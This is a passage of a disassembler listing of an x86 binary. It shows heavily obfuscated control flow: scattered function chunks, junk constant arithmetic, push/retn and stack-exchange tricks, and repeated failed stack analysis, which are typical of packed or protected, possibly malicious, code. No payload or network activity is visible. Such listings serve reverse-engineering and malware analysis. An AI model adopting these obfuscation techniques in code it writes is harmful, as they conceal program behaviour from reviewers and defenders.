BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428414: ; CODE XREF: hjohnhn9:004242D1j jz loc_426EAD jmp loc_4261F6 ; =============== S U B R O U T I N E ======================================= sub_42841F proc near ; CODE XREF: hjohnhn9:004261B7j ; sub_424A28:loc_42872Fp ; FUNCTION CHUNK AT 00423810 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423D11 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427B02 SIZE 0000000C BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_4233C4 or eax, eax jnz loc_4260A9 jmp loc_423D11 sub_42841F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428436 proc near ; CODE XREF: sub_4287BF-1234p ; sub_4287BF:loc_429061p push offset sub_424564 jmp loc_42687B sub_428436 endp ; --------------------------------------------------------------------------- loc_428440: ; CODE XREF: hjohnhn9:00426C7Aj jno loc_42344E popf ; =============== S U B R O U T I N E ======================================= sub_428447 proc near ; CODE XREF: sub_4262C5+1363p ; FUNCTION CHUNK AT 00423899 SIZE 00000002 BYTES xchg eax, [esp+0] pop eax jnz loc_424E63 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp jmp loc_423899 sub_428447 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426523 loc_42845E: ; CODE XREF: sub_426523:loc_42628Fj idiv ecx mov [ebp-8], eax push offset loc_426116 jmp loc_427CEC ; END OF FUNCTION CHUNK FOR sub_426523 ; --------------------------------------------------------------------------- loc_42846D: ; CODE XREF: hjohnhn9:00423A26j mov ds:dword_423954, eax jmp loc_42787C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428477 proc near ; CODE XREF: sub_423425j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042395D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004239D0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00424ACA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424CC8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00424DE2 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00424E8F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004252C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004267E0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004279E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004287A5 SIZE 0000001A BYTES push ebp mov ebp, esp push ecx jmp loc_4267E0 sub_428477 endp ; --------------------------------------------------------------------------- push esi push 87B37D53h pop esi or esi, 9B81DE4Ch rol esi, 1Fh push ecx jmp loc_423801 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_428496: ; CODE XREF: sub_427F90:loc_42440Fj shl [ebp+var_8], 8 jmp loc_427135 ; --------------------------------------------------------------------------- loc_42849F: ; CODE XREF: sub_427F90:loc_428F71j mov eax, [ebp+var_C] call sub_425029 ; END OF FUNCTION CHUNK FOR sub_427F90 ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4284A7: ; CODE XREF: sub_424A28+30ADj jmp loc_428EAA ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427324 loc_4284AC: ; CODE XREF: sub_427324+10j or edx, 27175886h add edx, 827297C1h call sub_4279ED push edx mov edx, eax xchg edx, [esp+0] ror eax, 17h jmp loc_4279D7 ; END OF FUNCTION CHUNK FOR sub_427324 ; =============== S U B R O U T I N E ======================================= sub_4284CB proc near ; CODE XREF: sub_42897Aj ; DATA XREF: sub_428965+Bo ; FUNCTION CHUNK AT 00423C85 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425B97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426559 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427FBA SIZE 00000014 BYTES cdq add eax, [esp+0] call loc_4244FA loc_4284D4: ; CODE XREF: hjohnhn9:00428074j mov ds:dword_426E3C, eax lea eax, [ebp-14h] xor edx, edx call sub_427AEB call sub_426749 jmp loc_425B97 sub_4284CB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4284ED: ; CODE XREF: sub_424161+429j popf loc_4284EE: ; CODE XREF: sub_424161:loc_42457Ej and eax, ds:4000F9h xor eax, 0E7A8609Ah add eax, ebp add eax, 1A458262h mov eax, [eax] popf jmp loc_423B50 ; END OF FUNCTION CHUNK FOR sub_424161 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42850B: ; CODE XREF: sub_427486-2729j jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428510: ; CODE XREF: sub_426A78-B4Aj rol eax, 9 push eax retn ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- loc_428515: ; CODE XREF: hjohnhn9:004280CDj jmp loc_42806F ; =============== S U B R O U T I N E ======================================= sub_42851A proc near ; CODE XREF: sub_4279C0:loc_42446Cp var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423692 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00424603 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042471C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00424A07 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424D63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E76 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424EF1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004267CC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004269E6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427EFB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428951 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429107 SIZE 00000005 BYTES push eax mov eax, ebp jmp loc_424D63 sub_42851A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_428522: ; CODE XREF: sub_42345B+F6Dj mov edi, eax pop eax xor edi, 7AC294Ch and edi, 0F324205Ah sub edi, 1CCD31ABh add edi, 5D0B7FC7h jmp loc_42827F ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_428542: ; CODE XREF: sub_42355C+26D2j ror eax, 11h mov ds:dword_428B04, eax retn ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42854C: ; CODE XREF: sub_426354+2868j jmp nullsub_95 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_428551: ; CODE XREF: sub_426671-64Fj ; sub_42355C+2B31j rol eax, 11h push eax call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_426671 ; =============== S U B R O U T I N E ======================================= sub_42855B proc near ; CODE XREF: sub_4265A0:loc_4270C5j ; sub_4263E3+1B33p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423320 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042623D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427DCD SIZE 00000005 BYTES jns loc_42623D jmp loc_427DCD sub_42855B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428567: ; CODE XREF: sub_424631+2A80j jmp loc_423E80 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B7A loc_42856C: ; CODE XREF: sub_427B7A-101Cj jmp loc_4235C0 ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_428571: ; CODE XREF: sub_4278DC-4147j jmp loc_42514C ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_428576: ; CODE XREF: sub_4265CD-2FCEj add eax, 0F1EDD6A1h ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_42466E loc_42857C: ; CODE XREF: sub_42466E:loc_42402Cj or eax, 1C45DFABh test eax, 40h jmp loc_4289F8 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_42858D: ; CODE XREF: sub_427C9B+13C1j jle loc_4271AE test eax, esi jmp loc_426176 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_42859A proc near ; CODE XREF: hjohnhn9:0042360Bj ; sub_428C4E+Bp ; FUNCTION CHUNK AT 00425FA3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427886 SIZE 0000000F BYTES xchg esi, [esp+0] pop esi or eax, eax jnz loc_425FA3 call sub_424877 jmp loc_427886 sub_42859A endp ; sp-analysis failed ; --------------------------------------------------------------------------- call nullsub_117 push edx push 5D51C839h pop edx jmp loc_42823A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4285C1: ; CODE XREF: sub_424161+4j test byte ptr [ebp-8], 40h jz loc_423C90 push ebp mov eax, [ebp-20h] call sub_423CCD jmp loc_424F86 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- locret_4285D9: ; CODE XREF: hjohnhn9:loc_428ECBj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4285DA: ; CODE XREF: sub_426354+13j jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_4285DF proc near ; CODE XREF: sub_423A75+3755j ; FUNCTION CHUNK AT 00426A2B SIZE 00000005 BYTES push ebx pushf push offset loc_4242AF jmp loc_426A2B sub_4285DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4285EB: ; CODE XREF: sub_423B05:loc_4275E9j rol eax, 12h xor eax, 0A572612Ah add eax, ebp add eax, 0D2A47652h mov eax, [eax] push offset loc_424768 jmp nullsub_58 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- push 0E22750C9h pop eax and eax, 0E8C440A5h add eax, 203E124Fh mov eax, [eax] call sub_426BFD loc_428621: ; CODE XREF: hjohnhn9:00426111j jmp loc_423C72 ; --------------------------------------------------------------------------- loc_428626: ; CODE XREF: hjohnhn9:00424B17j ; hjohnhn9:00426880j jmp loc_427CE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_42862B: ; CODE XREF: sub_423B05-8DBj jz loc_423C67 jmp loc_425E64 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_428636: ; CODE XREF: sub_424928+12j xor esi, 0EC755FA9h rol esi, 0Ch jb loc_423984 jp loc_4274DF push 0ED12CE14h jmp loc_423984 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- loc_428655: ; CODE XREF: hjohnhn9:00426A73j sub ebp, 1D877403h ; =============== S U B R O U T I N E ======================================= sub_42865B proc near ; CODE XREF: sub_425029-153Dp xchg eax, [esp+0] pop eax mov eax, [ebp-8] call sub_428357 loc_428667: ; CODE XREF: sub_424631+2A6Bj jmp loc_4249A3 sub_42865B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42866C: ; CODE XREF: sub_4287BF-5623j ; sub_4287BF:loc_428888j add eax, 5 cmp eax, ds:dword_4252D0 loc_428675: ; CODE XREF: hjohnhn9:00428FC1j jz loc_4268DB loc_42867B: ; CODE XREF: sub_4287BF:loc_42318Dj ; sub_4287BF+8B5j jno loc_427246 mov eax, [ebp-4] call sub_426924 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_427234 ; END OF FUNCTION CHUNK FOR sub_4287BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_428696: ; CODE XREF: sub_424928-F95j jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_42869B: ; CODE XREF: sub_423CDB:loc_425EFBj sub edx, 0D48679D9h and edx, 0F1D0428Eh loc_4286A7: ; CODE XREF: hjohnhn9:loc_4269B7j add edx, 1B9E0E67h call sub_4279ED push ecx push offset sub_42325E jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_4286BD: ; CODE XREF: sub_426CC8:loc_42633Fj push 49B5FB9h pop ecx sub ecx, 9CD41AECh xor ecx, 32E7C044h add ecx, 0AB22037Dh xchg ecx, [esp+4+var_4] jmp loc_4260B3 ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A55 loc_4286DD: ; CODE XREF: sub_424A55+13j jz loc_424C81 inc dword ptr [ebp-8] ; END OF FUNCTION CHUNK FOR sub_424A55 ; START OF FUNCTION CHUNK FOR sub_428271 loc_4286E6: ; CODE XREF: sub_424A55+23Dj ; sub_428271:loc_426B92j mov eax, [ebp-8] pop ecx pop ecx pop ebp jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4286F1: ; CODE XREF: sub_425BD2:loc_424266j or edx, 293B973Eh xor edx, 5CA6FE90h add edx, ebp add edx, 0DC26FECDh mov edx, [edx] mov [edx], al jmp loc_4265B8 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42870E proc near ; DATA XREF: sub_428192:loc_428253o push ebp mov ebp, esp mov esp, ebp call sub_428C4E sub_42870E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428718 proc near ; CODE XREF: sub_424E4F-966p ; hjohnhn9:00427F2Ej xchg ebx, [esp+0] pop ebx pop ebp retn sub_428718 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42645D loc_42871E: ; CODE XREF: sub_42645D+Dj jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_42645D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424335 loc_428723: ; CODE XREF: sub_424335+Bj jmp loc_425147 ; END OF FUNCTION CHUNK FOR sub_424335 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_428728: ; CODE XREF: sub_424E4F-978j ; sub_42392D+1510j xor eax, eax loc_42872A: ; CODE XREF: hjohnhn9:loc_427763j jmp loc_4265B3 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_42872F: ; CODE XREF: sub_424A28+6j call sub_42841F loc_428734: ; CODE XREF: hjohnhn9:00428A0Fj jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_424A28 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42873A: ; CODE XREF: sub_4260BD+1j jmp loc_429032 ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_42873F proc near ; CODE XREF: sub_426A30:loc_4247BCp ; sub_426A30+13p ; FUNCTION CHUNK AT 0042322F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042324B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004252D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427021 SIZE 00000007 BYTES xor bx, bx add ebx, 10000h loc_428748: ; CODE XREF: sub_42873F-550Aj ; sub_42873F:loc_427021j jno loc_42324B sub ebx, 10000h mov eax, [ebx] jmp loc_42322F sub_42873F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42875B: ; CODE XREF: sub_426354:loc_4290A3j sub ecx, 5D05A8A1h cmp ecx, 0AC25379Bh jmp loc_425F00 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_42876C: ; CODE XREF: sub_428D64-4AD4j or eax, edx mov edx, [ebp-8] loc_428771: ; CODE XREF: sub_425BD2:loc_424454j mov [edx], al mov eax, [ebp-8] mov al, [eax] jmp loc_4264EB ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C98 loc_42877D: ; CODE XREF: sub_425C98:loc_4264F0j xchg ecx, [esp+0] ror eax, 7 call sub_426D6A ; END OF FUNCTION CHUNK FOR sub_425C98 ; =============== S U B R O U T I N E ======================================= sub_428788 proc near ; CODE XREF: hjohnhn9:00425BEDj ; sub_424631:loc_428124p ; FUNCTION CHUNK AT 00423610 SIZE 0000000F BYTES xchg ecx, [esp+0] pop ecx mov edx, 0CF0182F6h call sub_427C53 mov ds:dword_423954, eax loc_42879B: ; CODE XREF: hjohnhn9:00423A0Cj ; sub_424631+4j ... mov eax, ds:dword_423954 jmp loc_423610 sub_428788 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4287A5: ; CODE XREF: sub_428477:loc_4279E3j xor eax, 4AF24693h add eax, ebp add eax, 6BD28E9Fh mov eax, [eax] xchg eax, [esp+8+var_8] call eax loc_4287BA: ; CODE XREF: hjohnhn9:00426730j jmp loc_4252C8 ; END OF FUNCTION CHUNK FOR sub_428477 ; =============== S U B R O U T I N E ======================================= sub_4287BF proc near ; DATA XREF: sub_423851+6o ; FUNCTION CHUNK AT 00423022 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042318D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042369A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423767 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427234 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042757E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042866C SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00428888 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429061 SIZE 00000022 BYTES mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_4287D2 jmp loc_423053 ; --------------------------------------------------------------------------- loc_4287D2: ; CODE XREF: sub_423851j sub_4287BF+8j jno loc_427588 mov eax, [ebp-4] jmp loc_423767 sub_4287BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4287E0: ; CODE XREF: sub_426354+128Aj xor ecx, 0F5929170h add ecx, ebp add ecx, 264E3726h mov [ecx], eax pop ecx inc dword ptr [ebp-10h] cmp dword ptr [ebp-8], 0 jmp loc_427AB5 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- sub eax, esi test ebx, ecx jmp loc_4269B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_428806: ; CODE XREF: sub_426D02+Aj push 4365EA7Eh pop eax rol eax, 0Dh xor eax, 0C8A505A7h rol eax, 1Dh add eax, 91853137h jmp loc_4274D5 ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428823: ; CODE XREF: sub_425029-1536j jp loc_42626A ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_428829 proc near ; CODE XREF: sub_4262C5+289Dp xchg ecx, [esp+0] pop ecx push 38651AACh pop ecx jmp loc_425E3A sub_428829 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428838 proc near ; CODE XREF: hjohnhn9:00423AFFj ; hjohnhn9:00427BB8p xchg esi, [esp+0] pop esi mov al, [eax] sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h push offset sub_423851 jmp nullsub_122 sub_428838 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_428851: ; CODE XREF: sub_423CDB:loc_424CA5j mov [ebp-24h], eax mov dword ptr [ebp-18h], 0 loc_42885B: ; CODE XREF: sub_425F3F+3j mov eax, [ebp-14h] mov eax, [eax+20h] add eax, [ebp-4] xor edx, edx push edx call sub_428965 loc_42886C: ; CODE XREF: hjohnhn9:00425B66j jmp loc_426B13 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_428871: ; CODE XREF: hjohnhn9:004272CDj and edx, 752A12AAh cmp edx, 0ED7C7803h jmp loc_426E70 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428883: ; CODE XREF: sub_427852+739j jmp loc_428EEB ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_428888: ; CODE XREF: sub_4287BF-123Cj jmp loc_42866C ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A36 loc_42888D: ; CODE XREF: sub_4265CD-258Ej ; sub_427A36-1779j jmp nullsub_65 ; END OF FUNCTION CHUNK FOR sub_427A36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_428892: ; CODE XREF: hjohnhn9:loc_423604j ; sub_42345B+3B82j pop ecx sub ecx, 0AEA4A8ACh xor ecx, ds:4000F7h rol ecx, 0Eh and ecx, 2216952Ah jmp loc_424145 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_4288AD: ; CODE XREF: sub_426A30-3794j call sub_426859 jnz loc_427181 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_4247C1 jmp loc_4247B9 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_4288C9: ; CODE XREF: sub_428CC9+Ej jnz loc_423E25 jmp sub_428E98 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_4288D4: ; CODE XREF: sub_427486-111j mov edi, [ecx] cdq loc_4288D7: ; CODE XREF: sub_427486:loc_428DEEj call sub_428FD3 push 383FE567h xchg ebp, [esp+0] mov edx, ebp pop ebp add edx, 19F9D197h jmp loc_428B1C ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_4288F3: ; CODE XREF: sub_424877+1j jmp loc_42464A ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4288F8: ; CODE XREF: sub_424161-28Fj jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- xchg edi, ebp mov edx, [edi] jmp sub_4264CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_428906: ; CODE XREF: sub_427564+81Fj jge loc_42655C jno loc_425CE7 loc_428912: ; CODE XREF: sub_427564-3AC6j rol edx, 1Bh add edx, 0AFC6A692h add edx, ebp jmp sub_423A75 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_428922: ; CODE XREF: hjohnhn9:loc_4264B7j pop edx sub edx, 0DAE6080Fh rol edx, 2 and edx, 0A9DCFEE7h rol edx, 0Dh jmp loc_424941 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_42893A: ; CODE XREF: sub_424698+1DD8j cmp edx, 11B06969h jmp loc_423AD2 ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_428945 proc near ; CODE XREF: sub_424D99-E93p ; hjohnhn9:00424D87j arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg ebx, [esp-4+arg_0] jmp loc_42762D sub_428945 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_428951: ; CODE XREF: sub_42851A:loc_424D63j xchg eax, [esp+0] mov ebp, esp push ecx mov esp, ebp xchg ecx, [esp+4+var_4] loc_42895C: ; CODE XREF: sub_426C09+238Bj mov ebp, ecx add ecx, ebp jmp loc_4267CC ; END OF FUNCTION CHUNK FOR sub_42851A ; =============== S U B R O U T I N E ======================================= sub_428965 proc near ; CODE XREF: hjohnhn9:00425CAEj ; sub_423CDB+4B8Cp ; FUNCTION CHUNK AT 004265BE SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push eax mov eax, [ebp-18h] shl eax, 2 push offset sub_4284CB jmp loc_4265BE sub_428965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42897A proc near ; CODE XREF: sub_42442F:loc_424F52j retn sub_42897A endp ; =============== S U B R O U T I N E ======================================= sub_42897B proc near ; CODE XREF: sub_425CB3:loc_427860p ; sub_4283C9+Aj ; FUNCTION CHUNK AT 00424A1D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424F5C SIZE 0000001A BYTES jz sub_42363F push ebp mov ebp, esp push ecx call sub_428309 loc_42898A: ; CODE XREF: sub_424946+38ADj jmp loc_424F5C sub_42897B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426859 loc_42898F: ; CODE XREF: sub_426859+Cj jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_426859 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428994: ; CODE XREF: sub_426A78-1981j jmp loc_425187 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428999: ; CODE XREF: sub_425029:loc_428244j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 call sub_42441D ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_4289A4 proc near ; CODE XREF: hjohnhn9:00424BFCp ; hjohnhn9:00427C13j xchg ecx, [esp+0] pop ecx call nullsub_2 jmp loc_4270BB sub_4289A4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4289B2 proc near ; CODE XREF: sub_4279ED+3j add esp, 0FFFFFED8h mov [ebp-8], edx loc_4289BB: ; CODE XREF: sub_423F65:loc_424F8Bj call sub_423CDB sub_4289B2 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425EA9 loc_4289C0: ; CODE XREF: sub_425EA9+6j jmp loc_424801 ; END OF FUNCTION CHUNK FOR sub_425EA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4289C5: ; CODE XREF: sub_424A28:loc_4276BBj jnz loc_4260A9 jmp loc_427ACF ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- push edx mov edx, eax xchg edx, [esp] call sub_426AF6 ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4289DB: ; CODE XREF: sub_427C9B-1BD3j adc edx, ecx loc_4289DD: ; CODE XREF: sub_426A78:loc_425187j call sub_424877 mov edx, 0D504D785h call sub_4279ED push edi mov edi, eax xchg edi, [esp+0] jmp loc_423771 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_4289F8: ; CODE XREF: sub_42466E+3F1Aj jmp loc_42309F ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4289FD: ; CODE XREF: sub_42363F+398Bj push eax call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_428A04: ; DATA XREF: sub_424819+2BE6o push esi mov esi, edx xchg esi, [esp] push offset sub_4236A7 jmp loc_428734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_428A14: ; CODE XREF: sub_4263E3-1B37j jl loc_427F10 jmp loc_425056 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- or edx, edi and edx, eax jmp 